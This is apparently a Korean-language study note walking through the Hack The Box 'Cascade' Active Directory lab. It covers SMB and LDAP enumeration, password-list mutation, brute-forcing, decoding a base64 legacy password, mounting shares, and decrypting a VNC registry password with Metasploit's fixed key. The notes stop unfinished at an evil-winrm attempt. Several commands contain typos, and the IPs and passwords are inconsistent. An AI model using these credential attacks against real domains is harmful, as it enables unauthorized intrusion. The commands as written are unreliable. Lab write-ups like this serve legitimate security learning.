AD 공략 6 (decrypt VNC)
[목차]
1. CASE 8 - HTB Cascade
[공략 과정 정리]
1. 포트 확인
DNS 53, kerberos 88, SMB 445, ldap 389
Web Server

2. hosts 파일 등록
도메인 확인되면 바로 add to hosts file
10.10.10.182 cascade.local cascade
3. Set Enumeration Target
1) SMB
- Usernames/groups?
- File shares
- Bruteforce
2) LDAP
- Usernames
- Other info
3-1) SMB enum
: Usernames & Groups
# rcpclient -U '' 192.168.137.131
> enumdomusers

몽땅 카피 후 리스트 업
# cat list | awk -F\[ '{print $2}' | awk -F\] '{print $1}' > users.lst

# rcpclient -U '' 192.168.137.131
> querydispinfo

> 별거 없음
: File Shares
# crackmapexec smb 192.168.137.131 --shares
# crackmapexec smb 192.168.137.131 -u '' --shares
# crackmapexec smb 192.168.137.131 -u '' -p '' --shares

# smbclient -L //192.168.137.131
# smbclient -L //192.168.137.131 -U ''
> doesn't look like we can enumerate file shares
3-2) LDAP
: 해당 box 또는 username 생성 시기 확인
# rcpclient -U '' 192.168.137.131
> querydispinfo2
> queryuser 0x452

> 최근 접속한 사용자 정보 확인 (Logon Time)

> 마지막으로 비번 설정된 월, theme 확인
: 계절, 월 등..
: password list 생성

# mutate passwords
# hashcat --force passwords -r /usr/share/hashcat/rules/best64.rule --stdout > pass.lst
# sort -u pass.lst > passwords.lst
: Bruteforce
1. Check password policy
# crackmapexec smb 192.168.139.131 --pass-pol

> Account Lockout Threshold : None
마음놓고 돌려도 됨
# crackmapexec smb 192.168.139.131 -u users.lst -p passwords.lst

: LDAP
# ldapsearch -x -h 192.168.138.131 -s base namingcontexts

# ldapsearch -x -h 192.168.138.131 -s sub -b 'DC=cascade,DC=local' > results
# cat results | awk '{peint $1}' | sort | uniq -x | sort -nr
# cat results | awk '{peint $1}' | sort | uniq -x | sort -nr | grep ':'
# cat results | awk '{peint $1}' | sort | uniq -x | sort -nr | grep ':' > tmp
# less tmp
/cascadeLagacyPwd 검색



> Ryan Thompson,
sAMAccountName : r.thompson
cascadeLegacyPwd : clk0bjVldmE=
> base64 -d 한 뒤 접속시도
# crackmapexec smb 192.168.138.131 -u r.thompson -p rY4n5eva
# crackmapexec smb 192.168.138.131 -u r.thompson -p rY4n5eva --shares
# crackmapexec smb 192.168.138.131 -u r.thompson -p rY4n5eva -M spider_plus


> Data / print shares 는 AD에서 직접 생성했기때문에 확인해봐야함
(ADMIN, NETLOGON은 배제, SYSVOL은 group policy info 확인 가능)

: mount shares
# mkdir /mnt/data
# mount -t cifs -o 'user=r.thompson,password=rYan5eva' //192.168.137.131/data /mnt/data
# mkdir /mnt/netlogon
# mount -t cifs -o 'user=r.thompson,password=rYan5eva' //192.168.137.131/netlogon /mnt/netlogon

> netlogon 확인

> 새 shares \\CASC-DC1\Audit 확인 후
마운트 시도 시 permission denied
> data 확인
# find .
# find . -type f


> password가 registry vnc hex값으로 저장되어 있음
$> msfconsole
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["D7A514D8C556AADE"].pack('H*'), fixedkey
=> "Secure!\x00"
>>

: 접속 시도
# crackmapexec smb 192.168.137.131 -u users.lst -p sT333ve2
> 비번에 맞는 user 확인
# crackmapexec smb 192.168.137.131 -u s.smith -p sT333ve2
> pwn3d! 여부 확인
# crackmapexec smb 192.168.137.131 -u s.smith -p sT333ve2 -M spider_plus
> 추가 정보가 있는지 확인
# evil-winrm -i 192.168.137.131 -i s.smith -p
> pwn3d!가 떴기 때문에 시도

내일 이어서